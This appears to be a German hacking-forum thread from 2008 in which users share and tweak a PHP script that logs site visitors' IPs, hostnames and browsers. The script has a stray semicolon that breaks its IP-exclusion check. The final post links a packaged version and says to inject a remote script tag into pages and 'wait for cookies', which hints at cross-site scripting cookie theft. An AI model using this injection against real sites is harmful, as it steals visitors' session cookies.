-
[b] ip logger script
hi!
ich hab mal ein kleines ip-logger script zusammen geschrieben:
Code:
<?php
$ip = getenv(REMOTE_ADDR);
$datum = date("d.m.Y");
$zeit = date("H:i:s");
$tag = date("D");
$browser = getenv("HTTP_USER_AGENT");
$dns = @gethostbyaddr($ip);
$neue_datei = fopen("ip_log.txt", a);
if($ip=="000.000.000.000"); //diese ip wird ausgeschlossen - zb die eigene statische
else fwrite($neue_datei, "| Day: $tag \n| Date: $datum \n| Time: $zeit \n|Browser: $browser \n| IP: $ip \n| DNS: $dns \n \n \n");
fclose($neue_datei);
?>
so sieht die txt dann aus:
Code:
| Day: Sat
| Date: 26.07.2008
| Time: 12:33:41
|Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
| IP: ***
| DNS: ***.hsi.ish.de
| Day: Sun
| Date: 27.07.2008
| Time: 22:24:05
|Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
| IP: ***
| DNS: ***.cust.tele2.at
hinweis: wenn ihr keine fixe ip habt, einfach die zeile mit dem kommentar und das "else" in der nächsten entfernen - eure ip wird dann aber auch mitgelogged
ihr könnt das script zb einfach im source eurer homepage einfach vor oder nach dem html-teil platzieren, dann muss die datei aber die endung php haben
-
Ha sehr schön ich wollte grade nach so einem script fragen hab nämlich leider noch nicht wirklich anuhng von php fange aber so langsam an ein bisschen was zu lernen...
Gibt es vllt noch ne nöglichkeit die ausgabe zu formatieren
So das es zim beispiel so aussieht
Code:
IP: ****
DNS: ****.hsi.ish.de
Datum: Sat;26.07.2008;12:33:41
Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
-
Code:
<?php
$ip = getenv(REMOTE_ADDR);
$datum = date("d.m.Y");
$zeit = date("H:i:s");
$tag = date("D");
$browser = getenv("HTTP_USER_AGENT");
$dns = @gethostbyaddr($ip);
$neue_datei = fopen("ip_log.txt", a);
if($ip=="000.000.000.000"); //diese ip wird ausgeschlossen - zb die eigene statische
else fwrite($neue_datei, "IP: $ip \nDNS: $dns \nDatum: $tag;$datum;$zeit \nBrowser: $browser \n\n\n");
fclose($neue_datei);
?>
-
schlie\t der dann nicht den befehl, wenn ein ";" da steht? - kann aber auch falsch liegen
-
nice =)
lol
kannst das ja ma mit datenbank machen^^
-
wollte ich eh, aber da ich auf meiner homepage keinen zweck für einen datenbank habe, hab ichs einfach gehalten.
wenn iwer lust dazu hat kann ers ja machen
-
kannst das ja ma mit datenbank machen^^[/quote]
Das Skript ist zwar schon ziemlich alt, aber wenn Jemand Interesse hat...
http://rapidshare.com/files/13760534...-v2.0.rar.html
Das Paket enthällt den logger, den tebelleninstaller für den logger (benötigt einen MySQL Server), ein pseudo-readme ohne Inhalt XD und eine kleine JavaScript-Datei zum einbinden.
In easy_log.php die MySQL logindaten eintragen ()
zB.
<script src="http://www.YOURSITE.com/easylog/x.js">
injezieren und auf Cookies warten ;)